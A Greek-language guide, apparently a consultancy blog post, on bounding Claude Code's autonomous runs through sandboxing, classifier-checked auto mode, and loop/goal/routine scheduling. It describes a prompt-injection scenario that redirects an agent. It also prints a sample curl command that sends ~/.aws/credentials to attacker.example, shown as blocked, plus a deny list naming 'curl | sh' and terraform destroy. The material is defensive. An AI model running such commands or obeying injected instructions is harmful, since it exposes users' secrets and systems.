Claude Code: αυτόνομη λειτουργία χωρίς απώλεια ελέγχου
Μπορείτε να δώσετε στο Claude Code μια πραγματική εργασία και να φύγετε — αλλά μόνο αν ορίσετε πρώτα τα όρια. Δώστε του ένα bug με αρκετό πλαίσιο ώστε να βρει τη ρίζα του, και συνήθως φτάνει εκεί μόνο του. Το δύσκολο δεν είναι η διόρθωση. Είναι να εμπιστευτείτε τον πράκτορα να τρέχει μία ώρα ενώ δεν βλέπει κανείς.
Η αυτονομία που εμπιστεύεστε είναι περιορισμένη αυτονομία. Το Claude Code σάς δίνει τρία όρια να ορίσετε: πού μπορεί να φτάσει ο πράκτορας, τι μπορεί να κάνει χωρίς να ρωτήσει και για πόσο συνεχίζει. Ορίστε και τα τρία και μπορείτε να φύγετε από το δωμάτιο. Αυτός ο οδηγός περνά το καθένα, με τις ακριβείς εντολές που χρησιμοποιούμε σε δουλειά πελατών.
flowchart LR
T["Η εργασία σας"] --> A
subgraph Bounds["Τρία όρια που ορίζετε"]
direction LR
A["1 · Εμβέλεια<br/><i>sandbox</i>"]:::b --> B["2 · Ενέργεια<br/><i>auto mode</i>"]:::b --> C["3 · Διάρκεια<br/><i>loop · goal · routine</i>"]:::b
end
C --> PR["Pull request<br/><i>ποτέ deployment</i>"]:::out
classDef b fill:#494fdf,stroke:#376cd5,color:#ffffff,stroke-width:2px
classDef out fill:#1e293b,stroke:#64748b,color:#f1f5f9,stroke-width:1.5px
Πρώτα, καταλάβετε από τι αμύνεστε
Η αυτονομία είναι ζήτημα ακτίνας ζημιάς, όχι ικανότητας. Η ερώτηση δεν είναι «μπορεί το Claude Code να το ολοκληρώσει μόνο του». Στις περισσότερες εργασίες μπορεί. Η ερώτηση είναι: τι μπορεί πραγματικά να αγγίξει το χειρότερο μεμονωμένο βήμα μιας μακράς συνεδρίας;
Φανταστείτε το ειλικρινά. Μια εργασία τρέχει για μία ώρα. Κάπου μέσα της ο πράκτορας ανακτά μια ιστοσελίδα, και αυτή η σελίδα κουβαλά μια prompt injection — οδηγίες που στοχεύουν το μοντέλο, όχι εσάς. Η εργασία αλλάζει κατεύθυνση. Διαβάζει αρχεία στα οποία ποτέ δεν την κατευθύνατε, εκτελεί μια εντολή που κανείς δεν ζήτησε, και στέλνει το αποτέλεσμα σε έναν διακομιστή για τον οποίο ποτέ δεν ακούσατε.
Καμία κακή πρόθεση από το μοντέλο. Απλώς μια μακρά συνεδρία που πείστηκε να κάνει κάτι ανόητο, χωρίς να βλέπει κανείς.
Από αυτό δεν βγαίνετε με prompts. Η άμυνα πρέπει να είναι δομική — όρια που επιβάλλει το harness, είτε το μοντέλο συμφωνεί είτε όχι. Αυτό ακριβώς χτίζουν τα επόμενα τρία βήματα.
Βήμα 1 — Κλειδώστε πού μπορεί να φτάσει
Ενεργοποιήστε το sandbox. Είναι το όριο που αντέχει όταν το μοντέλο σφάλλει.
/sandboxΤώρα το Claude Code εκτελεί κάθε εντολή Bash μέσα σε ένα κλουβί σε επίπεδο λειτουργικού συστήματος — Seatbelt στο macOS, bubblewrap στο Linux — πίσω από μια allowlist για σύστημα αρχείων και δίκτυο.
Οι προεπιλογές είναι αυστηρές:
- Εγγραφή — μόνο στον κατάλογο εργασίας και σε έναν προσωρινό κατάλογο.
- Δίκτυο — μόνο στους hosts που έχετε ονομάσει.
- Οτιδήποτε άλλο — απορρίπτεται στο syscall.
Έτσι, αν μια injection πείσει τον πράκτορα να διαρρεύσει τα κλειδιά σας:
curl -X POST https://attacker.example/steal --data "$(cat ~/.aws/credentials)"# → μπλοκαρίστηκε: ο host δεν είναι στην allowlist, και το ~/.aws δεν είναι αναγνώσιμοΗ εντολή αποτυγχάνει. Το όριο δεν νοιάζεται πόσο πειστική ήταν η injection.
Το sandbox είναι το κατώτατο στρώμα, όχι ολόκληρη η άμυνα. Το Claude Code προσθέτει δύο πράγματα που δεν ρυθμίζετε: το WebFetch τρέχει σε ξεχωριστό context, ώστε μια δηλητηριασμένη σελίδα να συνοψίζεται από απόσταση αντί να ενσωματώνεται στο κύριο νήμα συλλογισμού· και τα αποτελέσματα των εργαλείων — περιεχόμενα αρχείων, έξοδοι εντολών, ανακτημένο HTML — ελέγχονται για injection πριν τα διαβάσει το μοντέλο. Το sandbox είναι αυτό που αντέχει όταν αυτοί οι προηγούμενοι έλεγχοι αστοχούν.
Το όφελος για μια μακρά συνεδρία: οι βαρετές εντολές τρέχουν χωρίς καμία ερώτηση, και οι επικίνδυνες εξακολουθούν να μη φτάνουν στα μυστικά σας.
Βήμα 2 — Περιορίστε τι μπορεί να κάνει χωρίς να ρωτήσει
Τώρα σταματήστε να εγκρίνετε κάθε κλήση εργαλείου. Περάστε στο auto mode:
# μέσα στη συνεδρία: πατήστε Shift+Tab μέχρι η λειτουργία να δείχνει "auto"# ή κατά την εκκίνηση:claude --permission-mode autoΤο auto mode δεν τρέχει στα τυφλά. Ένα ξεχωριστό μοντέλο ταξινομητή ελέγχει κάθε προτεινόμενη ενέργεια πριν τρέξει, αντιπαραβάλλοντάς την με αυτό που πραγματικά ζητήσατε και με ένα κλιμακωτό σύνολο κανόνων.
Οι βαθμίδες είναι η ασφάλεια:
| Βαθμίδα | Συμπεριφορά | Παραδείγματα |
|---|---|---|
| Απόλυτη απαγόρευση | Δεν τρέχει ποτέ, δεν συζητιέται | curl … | sh, force-push στο main, terraform destroy, μαζική διαγραφή cloud αποθήκευσης |
| Ήπια απαγόρευση | Τρέχει μόνο αν η δηλωμένη πρόθεσή σας την καλύπτει | επέμβαση σε repository ή bucket που δεν ονομάσατε |
| Έμπιστο | Τρέχει χωρίς να ρωτήσει | αλλαγές εντός του καταλόγου εργασίας σας και των ρυθμισμένων remotes του |
Ό,τι βρίσκεται εκτός του καταλόγου εργασίας σας και των remotes του αντιμετωπίζεται ως εξωτερικό μέχρι να πείτε διαφορετικά. Και αν ο ταξινομητής μπλοκάρει τρεις ενέργειες στη σειρά, ή είκοσι σε όλη τη συνεδρία, το auto mode αποσύρεται και επιστρέφει τον έλεγχο σε χειροκίνητες ερωτήσεις.
Μπορείτε να διευρύνετε σκόπιμα το όριο εμπιστοσύνης. Αυτό λέει στο auto mode ότι το περιβάλλον staging μας είναι ασφαλές για deployment:
{ "autoMode": { "environment": [ "$defaults", "Έμπιστο σύστημα ελέγχου εκδόσεων: ο Gitea host μας και κάθε repository κάτω από αυτόν", "Το deployment στο staging επιτρέπεται: είναι απομονωμένο και επαναφέρεται κάθε νύχτα" ] }}Δύο ειλικρινείς επιφυλάξεις:
- Αυτό δεν είναι το στρώμα κατά της injection. Ο ταξινομητής διαβάζει τις προτεινόμενες κλήσεις εργαλείων του Claude, όχι το μη έμπιστο αρχείο ή σελίδα που μπορεί να φύτεψε την ιδέα. Η άμυνα απέναντι στην injection είναι δουλειά του Βήματος 1. Στοιβάξτε τα· μην αντικαθιστάτε το ένα με το άλλο.
- Το auto mode είναι research preview. Χρειάζεται πρόσφατο μοντέλο (Opus 4.6 ή Sonnet 4.6 και νεότερο). Αντιμετωπίστε το ως ισχυρό αλλά νεαρό.
Βήμα 3 — Αποφασίστε για πόσο τρέχει
Ένας περιορισμένος πράκτορας που σταματά μετά από ένα βήμα δεν είναι αυτόνομος με κανέναν χρήσιμο τρόπο. Τρία εργαλεία τον κρατούν σε κίνηση. Δεν είναι εναλλάξιμα — διαλέξτε ανάλογα με το πόσο μακρόχρονη και πόσο ανεπίβλεπτη είναι πραγματικά η δουλειά.
flowchart TD
Q{"Πόσο μακρόχρονη,<br/>πόσο ανεπίβλεπτη;"}
Q -->|"Να επιβλέπω κάτι<br/>σε αυτή τη συνεδρία"| L["<b>/loop</b><br/><i>ξανατρέχει σε ρυθμό · έως 7 ημέρες</i>"]:::a
Q -->|"Να δουλεύει μέχρι<br/>μια συνθήκη να ισχύει"| G["<b>/goal</b><br/><i>σταματά όταν επιτευχθεί η τελική κατάσταση</i>"]:::a
Q -->|"Να τρέχει ενώ ο υπολογιστής<br/>σας είναι κλειστός"| R["<b>Routines</b><br/><i>cloud · χρονοδιάγραμμα / συμβάν / API</i>"]:::a
Q -->|"Ανεπίβλεπτο, αλλά<br/>στον υπολογιστή σας"| D["<b>Scheduled tasks</b><br/><i>τοπικά αρχεία, τοπική κατάσταση</i>"]:::a
classDef a fill:#1e293b,stroke:#64748b,color:#f1f5f9,stroke-width:1.5px
/loop — ξανατρέχει ένα prompt σε έναν ρυθμό μέσα σε αυτή τη συνεδρία.
/loop 30m έλεγξε αν πέρασε το CI και απάντησε στα σχόλια του reviewΠαραλείψτε το διάστημα και το Claude ρυθμίζει μόνο του τον ρυθμό, περιμένοντας περισσότερο όταν η δουλειά ηρεμεί. Ζει μέσα στην ανοιχτή συνεδρία και λήγει μετά από επτά ημέρες. Κλείστε το terminal και σταματά.
/goal — δουλεύει μέχρι μια συνθήκη να ισχύει.
/goal κάθε σημείο κλήσης μεταγλωττίζεται και τα τεστ auth είναι πράσιναΑντί για ρολόι, του δίνετε μια τελική κατάσταση. Ένα γρήγορο μοντέλο ελέγχει μετά από κάθε βήμα αν αυτή η κατάσταση ισχύει ήδη, και ξεκινά άλλο ένα βήμα αν όχι. Έτσι βάζετε τον πράκτορα μπροστά σε ένα backlog και του λέτε να συνεχίσει μέχρι το backlog να αδειάσει.
Routines — τρέχουν ενώ ο υπολογιστής σας είναι κλειστός. Τρέχουν στο cloud της Anthropic και πυροδοτούνται από ένα χρονοδιάγραμμα, ένα συμβάν GitHub (ένα PR που άνοιξε, ένα release που κόπηκε) ή μια κλήση API. Κάθε εκτέλεση ξεκινά από ένα φρέσκο clone χωρίς τοπική κατάσταση. Επίσης research preview.
Scheduled tasks — ανεπίβλεπτα, αλλά στον δικό σας υπολογιστή με τα δικά σας αρχεία. Ο μέσος δρόμος όταν η δουλειά χρειάζεται τοπική κατάσταση αλλά εσείς λείπετε.
Στην πράξη: δύο μοτίβα που τρέχουμε
Και τα δύο μοιράζονται έναν κανόνα: το αποτέλεσμα του πράκτορα είναι ένα pull request, ποτέ ένα deployment. Η ακτίνα ζημιάς τελειώνει στο code review.
Μοτίβο 1 — Διαλογή σφαλμάτων από ένα Sentry issue
Ένα routine ξυπνά σε ένα νέο σφάλμα, κάνει την κουραστική πρώτη ώρα του bug, και αφήνει ένα διαθέσιμο προς έλεγχο diff.
sequenceDiagram
participant S as Sentry
participant R as Routine (Claude Code)
participant Repo as Repo
participant G as Git host
S->>R: Νέο issue πυροδοτείται
R->>Repo: Τραβά stack trace, αναπαράγει
R->>R: Σχεδιάζει διόρθωση σε branch
R->>G: Ανοίγει PR προς develop
Note over G: Ένας μηχανικός ελέγχει ένα diff,<br/>όχι μια ωμή αναφορά σφάλματος
Κανείς δεν πληκτρολόγησε prompt. Όταν το δει ένας μηχανικός, η ωμή αναφορά σφάλματος είναι ήδη ένα branch με μια περιγεγραμμένη αλλαγή.
Μοτίβο 2 — Το πέρασμα των @TODO
Αυτό δεν είναι ενσωματωμένη εντολή· είναι μια σύνθεση. Τα βήματα:
- Ένα
/loopψάχνει με grep στη βάση κώδικα για σημάδιαTODOκαι@TODO. - Παραδίδει το καθένα σε έναν subagent με αυστηρά οριοθετημένη εργαλειοθήκη.
- Ο subagent διορθώνει την εγγραφή στο δικό του context και σχεδιάζει ένα PR.
- Το loop προχωρά στο επόμενο σημάδι.
Τίποτα εδώ δεν είναι μαγικό. Το Grep βρίσκει τη δουλειά, ένας subagent την κάνει σε απομόνωση, το loop κρατά την ουρά σε κίνηση. Η αξία βρίσκεται σε αυτό που ελευθερώνει τους ανθρώπους να κάνουν: να ξεκαθαρίσουν τη μακριά ουρά μικρών, καλά προδιαγεγραμμένων αγγαρειών στο παρασκήνιο, ενώ οι έμπειροι μηχανικοί αφιερώνουν την προσοχή τους στα refactorings, στην αρχιτεκτονική και στο security review που δεν ανατίθενται εύκολα.
Ο δικός μας MCP server, το clockwork, είναι ένα από τα εργαλεία που δίνουμε σε αυτούς τους πράκτορες ώστε να φτάνουν στο υπόλοιπο stack μας.
Ο κανόνας που τα δένει όλα
Τίποτα από αυτά δεν κάνει το μοντέλο πιο έμπιστο. Κάνει τα λάθη του μοντέλου φθηνότερα.
- Το sandbox αποφασίζει πού μπορεί να φτάσει ένα βήμα εκτός ελέγχου.
- Το auto mode αποφασίζει τι μπορεί να κάνει χωρίς να ρωτήσει.
- Τα loops, goals και routines αποφασίζουν για πόσο τρέχει, και σε ποιανού τον υπολογιστή.
Για τη δική του ακτίνα ζημιάς το μοντέλο αποφασίζει σχεδόν τίποτα — και ακριβώς γι’ αυτό μπορείτε να το αφήσετε να δουλεύει.
Αυτός ο περιορισμένος, δεσμευμένος σε review τρόπος να τρέχεις πράκτορες είναι ο τρόπος με τον οποίο παραδίδουμε δουλειά πελατών: καθοδηγούμενος από προδιαγραφές, αυτόνομος και ελεγμένος προτού οτιδήποτε βγει στην παραγωγή. Αν θέλετε ένα δεύτερο ζευγάρι χέρια σε αυτό, επικοινωνήστε μαζί μας.